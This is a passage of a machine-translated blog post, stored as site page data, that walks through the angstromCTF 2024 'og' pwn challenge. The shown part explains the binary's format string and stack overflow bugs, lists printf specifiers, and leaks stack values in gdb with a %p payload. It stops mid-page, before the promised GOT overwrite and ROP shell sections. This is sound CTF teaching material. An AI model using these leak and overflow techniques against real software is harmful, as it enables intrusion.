{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-pwn-og-en","result":{"data":{"markdownRemark":{"id":"f573c177-f9b1-5685-93af-d5c0c97e544b","html":"<blockquote>\n<p>This page has been machine-translated from the <a href=\"/ctf-pwn-og\">original page</a>.</p>\n</blockquote>\n<p>I recently started studying Pwn.</p>\n<p>This time, while receiving advice from our team’s Pwn specialist, I worked through ångstromCTF 2024’s “og” challenge to learn about Format String Attacks and ROP techniques. I’m writing this up as a beginner’s guide to Pwn.</p>\n<!-- omit in toc -->\n<h2 id=\"table-of-contents\" style=\"position:relative;\"><a href=\"#table-of-contents\" aria-label=\"table of contents permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Table of Contents</h2>\n<ul>\n<li><a href=\"#problem-overview-og-pwn\">Problem Overview: og (Pwn)</a></li>\n<li>\n<p><a href=\"#format-string-attack-basics-and-practice\">Format String Attack Basics and Practice</a></p>\n<ul>\n<li><a href=\"#what-is-fsb\">What is FSB?</a></li>\n<li><a href=\"#values-that-can-be-leaked-via-fsb\">Values That Can Be Leaked via FSB</a></li>\n<li><a href=\"#leaking-the-canary-with-fsb\">Leaking the Canary with FSB</a></li>\n<li><a href=\"#leaking-the-libc-base-address-with-fsb\">Leaking the libc Base Address with FSB</a></li>\n<li><a href=\"#performing-a-got-override-with-fsb\">Performing a GOT Override with FSB</a></li>\n<li><a href=\"#solution-1-get-a-shell-with-onegadget\">Solution 1: Get a Shell with OneGadget</a></li>\n<li><a href=\"#bonus-concatenating-arbitrary-format-specifiers-to-fmtstr_payload\">Bonus: Concatenating Arbitrary Format Specifiers to fmtstr_payload</a></li>\n</ul>\n</li>\n<li>\n<p><a href=\"#rop-and-canary-bypass-in-practice\">ROP and Canary Bypass in Practice</a></p>\n<ul>\n<li><a href=\"#performing-a-canary-bypass\">Performing a Canary Bypass</a></li>\n<li><a href=\"#collecting-rop-gadgets\">Collecting ROP Gadgets</a></li>\n<li><a href=\"#working-around-input-constraints\">Working Around Input Constraints</a></li>\n<li><a href=\"#solution-2-get-a-shell-with-rop\">Solution 2: Get a Shell with ROP</a></li>\n</ul>\n</li>\n<li>\n<p><a href=\"#other-rop-techniques\">Other ROP Techniques</a></p>\n<ul>\n<li><a href=\"#rop-technique-using-rbp-replacement\">ROP Technique Using RBP Replacement</a></li>\n<li><a href=\"#embedding-shell-code\">Embedding Shell Code</a></li>\n</ul>\n</li>\n<li><a href=\"#summary\">Summary</a></li>\n</ul>\n<h2 id=\"problem-overview-og-pwn\" style=\"position:relative;\"><a href=\"#problem-overview-og-pwn\" aria-label=\"problem overview og pwn permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Problem Overview: og (Pwn)</h2>\n<blockquote>\n<p>only the ogs remember go</p>\n</blockquote>\n<p>The challenge binary (ELF) provided for this problem is composed mainly of two functions: <code class=\"language-text\">main</code> and <code class=\"language-text\">go</code>.</p>\n<p>Below are the decompilation results for each function.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token class-name\">int64_t</span> <span class=\"token function\">go</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">void</span><span class=\"token operator\">*</span> fsbase<span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int64_t</span> rax <span class=\"token operator\">=</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint64_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>fsbase <span class=\"token operator\">+</span> <span class=\"token number\">0x28</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">setbuf</span><span class=\"token punctuation\">(</span><span class=\"token constant\">stdin</span><span class=\"token punctuation\">,</span> nullptr<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">setbuf</span><span class=\"token punctuation\">(</span><span class=\"token constant\">stdout</span><span class=\"token punctuation\">,</span> nullptr<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">setbuf</span><span class=\"token punctuation\">(</span><span class=\"token constant\">stderr</span><span class=\"token punctuation\">,</span> nullptr<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"kill $PPID; Enter your name: \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">void</span> var_38<span class=\"token punctuation\">;</span>\n    <span class=\"token function\">fgets</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>var_38<span class=\"token punctuation\">,</span> <span class=\"token number\">0x42</span><span class=\"token punctuation\">,</span> <span class=\"token constant\">stdin</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Gotta go. See you around, \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>var_38<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>rax <span class=\"token operator\">==</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint64_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>fsbase <span class=\"token operator\">+</span> <span class=\"token number\">0x28</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> <span class=\"token punctuation\">(</span>rax <span class=\"token operator\">-</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint64_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>fsbase <span class=\"token operator\">+</span> <span class=\"token number\">0x28</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token function\">__stack_chk_fail</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token comment\">/* no return */</span>\n<span class=\"token punctuation\">}</span>\n\n\n<span class=\"token class-name\">int32_t</span> <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int32_t</span> argc<span class=\"token punctuation\">,</span> <span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token operator\">*</span> argv<span class=\"token punctuation\">,</span> <span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token operator\">*</span> envp<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    <span class=\"token function\">go</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">return</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>As you can see from the binary, this program has the Canary enabled.</p>\n<p>Additionally, PIE is disabled and RELRO (Relocation Read-Only) is Partial RELRO, so a GOT override appears relatively straightforward.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 371px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/c9dc109b3c5b4ba18e2047fe722a8469/d4635/image-20240604211454156.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 33.33333333333333%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABmklEQVQoz02Q7W/SABDGGzOdA536wdeFwdoyoFBaaJkTyssYMmBjvBSoGyDMzJj4/3//eS0m+uGXe3K5e57LKe3TFu5hhknpimV9SvDllsXnG9GTqPZO69x7Y4LzIWPrK3PpTcp9VjJ7W+ywvQz42V+xbvrRvOK+ydNOnsnShKXQSlRoHDlcSG/Z8Pl1s+Wxv2bTDth2vnFf93nsrVg1ZvQydWrvbeqfyngf7GhHMZ4kmFUGPMjwpr2IzIy9YyHJ3G4SOB18s0FPdRno5wx1h6lRxbeaeB/LmM9Sfzmh8DSJEoproyWJU75fzBnkmlgHGlZMp3qUpZbI4qUMWc5SfpehpZt4ap6z1xqFvRSluI4d+0dk2M82+dG9Y2x3owtDQ/u5hmG65A25uOBSODYxVQsj75BP25jxdBRqHeyMwhqihGeO5Nl31RHm/klElCampVyZ0tscTraEbYgWoxBXwioxDVfmHKk7Uy1CKe6rXKU9fo8e6Oo1+UNqlyjM4irtuIb/QuMypnIteiE6ONTYvNJYSx2+1Cj+Z/gHZW/dwTkz9AUAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/c9dc109b3c5b4ba18e2047fe722a8469/8ac56/image-20240604211454156.webp 240w,\n/static/c9dc109b3c5b4ba18e2047fe722a8469/65f07/image-20240604211454156.webp 371w\"\n              sizes=\"(max-width: 371px) 100vw, 371px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/c9dc109b3c5b4ba18e2047fe722a8469/8ff5a/image-20240604211454156.png 240w,\n/static/c9dc109b3c5b4ba18e2047fe722a8469/d4635/image-20240604211454156.png 371w\"\n            sizes=\"(max-width: 371px) 100vw, 371px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/c9dc109b3c5b4ba18e2047fe722a8469/d4635/image-20240604211454156.png\"\n            alt=\"image-20240604211454156\"\n            title=\"image-20240604211454156\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Reading the decompiled code, <code class=\"language-text\">fgets(&amp;var_38, 0x42, stdin);</code> reads up to 0x42 bytes of input and stores it at RBP-0x30.</p>\n<p>This means there is a buffer overflow vulnerability here.</p>\n<p>Also, <code class=\"language-text\">printf(&amp;var_38);</code> outputs the received input via printf, revealing that a Format String Attack is also possible.</p>\n<p>From these findings, we can predict that the Flag can be obtained by using a Format String Attack to leak the Canary and succeed in a BoF attack, or by executing code at an arbitrary address via GOT override.</p>\n<h2 id=\"format-string-attack-basics-and-practice\" style=\"position:relative;\"><a href=\"#format-string-attack-basics-and-practice\" aria-label=\"format string attack basics and practice permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Format String Attack Basics and Practice</h2>\n<p>To carry out the Format String Attack, let’s first review the typical abuse of FSB (Format String Bug), centered around the following excellent article.</p>\n<p>Reference: <a href=\"https://ptr-yudai.hatenablog.com/entry/2018/10/06/234120\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Format String Exploitを試してみる - CTFするぞ</a></p>\n<p>Reference: <a href=\"https://book.hacktricks.xyz/v/jp/binary-exploitation/format-strings\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Format Strings | Japanese - Ht | HackTricks</a></p>\n<h3 id=\"what-is-fsb\" style=\"position:relative;\"><a href=\"#what-is-fsb\" aria-label=\"what is fsb permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>What is FSB?</h3>\n<p>FSB refers to a vulnerability in programs where an attacker can input text containing format specifiers as the first argument to functions such as <code class=\"language-text\">printf</code>, <code class=\"language-text\">sprintf</code>, or <code class=\"language-text\">fprintf</code>.</p>\n<p>In this challenge binary, the user-supplied data is passed as the argument to <code class=\"language-text\">printf(&amp;var_38);</code>, so we can determine that an FSB vulnerability exists.</p>\n<p>Functions like printf support format specifiers such as the following.</p>\n<p>A format specifier consists of the <code class=\"language-text\">%</code> symbol, flags, a decimal length string, conversion specifiers, and so on.</p>\n<p>Below are common conversion specifiers and their purposes:</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token operator\">%</span>d —<span class=\"token operator\">></span> <span class=\"token keyword\">int</span><span class=\"token punctuation\">(</span>Decimal<span class=\"token punctuation\">)</span>\n<span class=\"token operator\">%</span>u —<span class=\"token operator\">></span> Unsigned <span class=\"token keyword\">int</span><span class=\"token punctuation\">(</span>Decimal<span class=\"token punctuation\">)</span>\n<span class=\"token operator\">%</span>x —<span class=\"token operator\">></span> Unsigned <span class=\"token keyword\">int</span><span class=\"token punctuation\">(</span>Hex<span class=\"token punctuation\">)</span>\n<span class=\"token operator\">%</span><span class=\"token number\">08</span>x —<span class=\"token operator\">></span> <span class=\"token number\">8</span> hex bytes\n<span class=\"token operator\">%</span>f <span class=\"token operator\">-></span> <span class=\"token keyword\">double</span><span class=\"token punctuation\">(</span>Decimal<span class=\"token punctuation\">)</span>\n<span class=\"token operator\">%</span>c <span class=\"token operator\">-></span> Unsigned <span class=\"token keyword\">char</span>\n<span class=\"token operator\">%</span>s —<span class=\"token operator\">></span> String\n<span class=\"token operator\">%</span>p —<span class=\"token operator\">></span> Pointer\n<span class=\"token operator\">%</span>n —<span class=\"token operator\">></span> Number of written bytes to pointer\n<span class=\"token operator\">%</span>hn —<span class=\"token operator\">></span> Occupies <span class=\"token number\">2</span> bytes instead of <span class=\"token number\">4</span>\n<span class=\"token operator\">&lt;</span>n<span class=\"token operator\">></span>$X —<span class=\"token operator\">></span> Direct access<span class=\"token punctuation\">,</span> Example<span class=\"token operator\">:</span> <span class=\"token punctuation\">(</span><span class=\"token string\">\"%3$d\"</span><span class=\"token punctuation\">,</span> var1<span class=\"token punctuation\">,</span> var2<span class=\"token punctuation\">,</span> var3<span class=\"token punctuation\">)</span> —<span class=\"token operator\">></span> Access to var3</code></pre></div>\n<p>Reference: <a href=\"https://www.k-cube.co.jp/wakaba/server/func/fprintf.html\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">fprintf()</a></p>\n<p>In particular, for integer conversion specifiers other than <code class=\"language-text\">f</code>, <code class=\"language-text\">c</code>, <code class=\"language-text\">s</code>, and <code class=\"language-text\">p</code>, you can use length modifiers such as <code class=\"language-text\">%hhn</code> to handle the argument value as the specified size:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">hh -<span class=\"token operator\">></span> <span class=\"token number\">1</span> byte<span class=\"token punctuation\">(</span>harf-half<span class=\"token punctuation\">)</span>\nh -<span class=\"token operator\">></span> <span class=\"token number\">2</span> byte<span class=\"token punctuation\">(</span>harf<span class=\"token punctuation\">)</span>\nl -<span class=\"token operator\">></span> <span class=\"token number\">8</span> byte<span class=\"token punctuation\">(</span>long<span class=\"token punctuation\">)</span></code></pre></div>\n<p>Using these specifiers, when a user can control the first argument to <code class=\"language-text\">printf</code> (as in <code class=\"language-text\">printf(&amp;var_38);</code>), FSB can be abused to leak data from the stack or memory, or to tamper with arbitrary data.</p>\n<p>This abuse is possible because functions like <code class=\"language-text\">printf</code>, <code class=\"language-text\">sprintf</code>, and <code class=\"language-text\">fprintf</code> take a variable number of arguments, so the function itself cannot determine how many arguments were actually provided.</p>\n<p>As a result, the function attempts to display as many values from registers and the stack as there are format specifiers in the first argument. (When <code class=\"language-text\">%n</code> is used, the number of characters printed is written to the pointer argument.)</p>\n<p>Specific abuse methods using FSB are described below.</p>\n<h3 id=\"values-that-can-be-leaked-via-fsb\" style=\"position:relative;\"><a href=\"#values-that-can-be-leaked-via-fsb\" aria-label=\"values that can be leaked via fsb permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Values That Can Be Leaked via FSB</h3>\n<p>When abusing FSB in CTF, you need to understand in advance which register or stack value each embedded format specifier will reference.</p>\n<p>For the Linux x64 calling convention, each argument is typically stored as follows:</p>\n<table>\n<thead>\n<tr>\n<th align=\"center\">Argument</th>\n<th align=\"center\">Storage</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"center\">1st argument</td>\n<td align=\"center\">RDI</td>\n</tr>\n<tr>\n<td align=\"center\">2nd argument</td>\n<td align=\"center\">RSI</td>\n</tr>\n<tr>\n<td align=\"center\">3rd argument</td>\n<td align=\"center\">RDX</td>\n</tr>\n<tr>\n<td align=\"center\">4th argument</td>\n<td align=\"center\">RCX</td>\n</tr>\n<tr>\n<td align=\"center\">5th argument</td>\n<td align=\"center\">R8</td>\n</tr>\n<tr>\n<td align=\"center\">6th argument</td>\n<td align=\"center\">R9</td>\n</tr>\n<tr>\n<td align=\"center\">7th argument and beyond</td>\n<td align=\"center\">Stack address</td>\n</tr>\n</tbody>\n</table>\n<p>Since the first argument holds the format string, a Format String Attack reads register values starting from the second argument (RSI through R9), and from the sixth format specifier onward begins reading from the stack. (At that point the stack top usually contains the format string text from the first argument.)</p>\n<p>Let’s verify this behavior in gdb.</p>\n<p>In this challenge binary, the FSB vulnerability can be exploited at the following location.</p>\n<p>The stack area at RBP-0x30 already contains the format-specifier string provided via user input.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 500px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/2c28c9c59afffb47d928409b6876fa2a/0b533/image-20240606214521784.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 16.249999999999996%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAvUlEQVQI1x2M0U6DMBhGeRwKhlEsHS2DiSuwLIsoXaIz8UKzxEcwPv2x9uLk/H/y5STtoaN1HZWuUEphjKEsS9I0RQgRLLDWUkmJyDJ0uO9Vjen7gMX2LXqrqbc1UpYk/TywPw6oRmEbw7B/CG5iIM/zyG7Xxf+uKDBdj25NCDchIFG6ZrMpyEQWt8n6fmG9ek7PZ77frvx83vj9uvGxeh6dYxxHvPcsTwvzPPF6WfAvZ+bjjDu4yP9mmqboP+lwZwq1M/YtAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/2c28c9c59afffb47d928409b6876fa2a/8ac56/image-20240606214521784.webp 240w,\n/static/2c28c9c59afffb47d928409b6876fa2a/d3be9/image-20240606214521784.webp 480w,\n/static/2c28c9c59afffb47d928409b6876fa2a/b0a15/image-20240606214521784.webp 500w\"\n              sizes=\"(max-width: 500px) 100vw, 500px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/2c28c9c59afffb47d928409b6876fa2a/8ff5a/image-20240606214521784.png 240w,\n/static/2c28c9c59afffb47d928409b6876fa2a/e85cb/image-20240606214521784.png 480w,\n/static/2c28c9c59afffb47d928409b6876fa2a/0b533/image-20240606214521784.png 500w\"\n            sizes=\"(max-width: 500px) 100vw, 500px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/2c28c9c59afffb47d928409b6876fa2a/0b533/image-20240606214521784.png\"\n            alt=\"image-20240606214521784\"\n            title=\"image-20240606214521784\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Let’s set a breakpoint at <code class=\"language-text\">0x401239</code> and debug with the input <code class=\"language-text\">AAAABBBB_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">b *0x401239\nr\n<span class=\"token comment\"># Input: AAAABBBB_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p</span></code></pre></div>\n<p>The output from printf was <code class=\"language-text\">AAAABBBB_0x7fffffffba20_(nil)_0x7ffff7e9a887_0x1a_(nil)_0x4242424241414141_0x255f70255f70255f_0x5f70255f70255f70_0x70255f70255f7025_0xa70255f70255f</code>.</p>\n<p><code class=\"language-text\">AAAABBBB</code> is the raw input, but the range up to <code class=\"language-text\">0x7fffffffba20_(nil)_0x7ffff7e9a887_0x1a_(nil)</code> contains the values of registers from RSI (the 2nd argument) to R9 in order. (With <code class=\"language-text\">%p</code>, zero values are displayed as <code class=\"language-text\">(nil)</code>.)</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/42f9e2326fff73ecc5c79ddf5be5862d/3f8aa/image-20240606220230900.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 26.25%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAuElEQVQY06WOywqCYBCF3WVtIm9ZYVAZlKW/Yt5+K10ZBJWL3v9VTqOGi+iyaHE4cGbmmyNcRi7uboF8GsLpzOD2zI9i3cXXeSXhZvi4rjKkugdHnLeH7/QLVgNLM8F5yREMrBb4j4SDFCEZZyi9E44TH7G8QSxZiKQtuMYQ9NfYU/uqYfWQidT2xau8ntGOUOg7OgiQGwG5i1DxEOmcgASWG2is2EhUhnTIyO0645oDrjrPrPGI9h9UtI559wJMPwAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/42f9e2326fff73ecc5c79ddf5be5862d/8ac56/image-20240606220230900.webp 240w,\n/static/42f9e2326fff73ecc5c79ddf5be5862d/d3be9/image-20240606220230900.webp 480w,\n/static/42f9e2326fff73ecc5c79ddf5be5862d/e46b2/image-20240606220230900.webp 960w,\n/static/42f9e2326fff73ecc5c79ddf5be5862d/c6c08/image-20240606220230900.webp 1337w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/42f9e2326fff73ecc5c79ddf5be5862d/8ff5a/image-20240606220230900.png 240w,\n/static/42f9e2326fff73ecc5c79ddf5be5862d/e85cb/image-20240606220230900.png 480w,\n/static/42f9e2326fff73ecc5c79ddf5be5862d/d9199/image-20240606220230900.png 960w,\n/static/42f9e2326fff73ecc5c79ddf5be5862d/3f8aa/image-20240606220230900.png 1337w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/42f9e2326fff73ecc5c79ddf5be5862d/d9199/image-20240606220230900.png\"\n            alt=\"image-20240606220230900\"\n            title=\"image-20240606220230900\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>After that, <code class=\"language-text\">0x4242424241414141_0x255f70255f70255f_0x5f70255f70255f70_0x70255f70255f7025_0xa70255f70255f</code> shows stack values in order.</p>\n<p>Inspecting the stack area at RBP-0x30 and beyond in gdb at this point confirms that it matches the values leaked via printf.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 555px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/a672b4d406e309e467697fa06205ed4e/cd039/image-20240606220444467.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 14.583333333333334%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA0ElEQVQI1yWOWWvCUBBG9UGkUKtN1FYQKlpiU5egdQta1NAGQ6OGuuCCCq1oUfz/j6c314ePM8MwMyfwcVfgM6LTS1RxKy6eYbMwRyzbHpM3h3pMp6EUqEVfMG5yVG81mqJvxUu01KKMKep67FXOA5o6JK86aPEhueQU67nPwVlzdHeCG8k/Ef+JHkxjZZqcxj8cv7acvSsv33tmDZdyOCsOKjb5+z6aMiCrenQz7/LgfrDm116xs+Zyybcthp6kafvBoPNYwUyU6aSu9C19w3+aYWOcmP4pwgAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/a672b4d406e309e467697fa06205ed4e/8ac56/image-20240606220444467.webp 240w,\n/static/a672b4d406e309e467697fa06205ed4e/d3be9/image-20240606220444467.webp 480w,\n/static/a672b4d406e309e467697fa06205ed4e/2e9dd/image-20240606220444467.webp 555w\"\n              sizes=\"(max-width: 555px) 100vw, 555px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/a672b4d406e309e467697fa06205ed4e/8ff5a/image-20240606220444467.png 240w,\n/static/a672b4d406e309e467697fa06205ed4e/e85cb/image-20240606220444467.png 480w,\n/static/a672b4d406e309e467697fa06205ed4e/cd039/image-20240606220444467.png 555w\"\n            sizes=\"(max-width: 555px) 100vw, 555px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            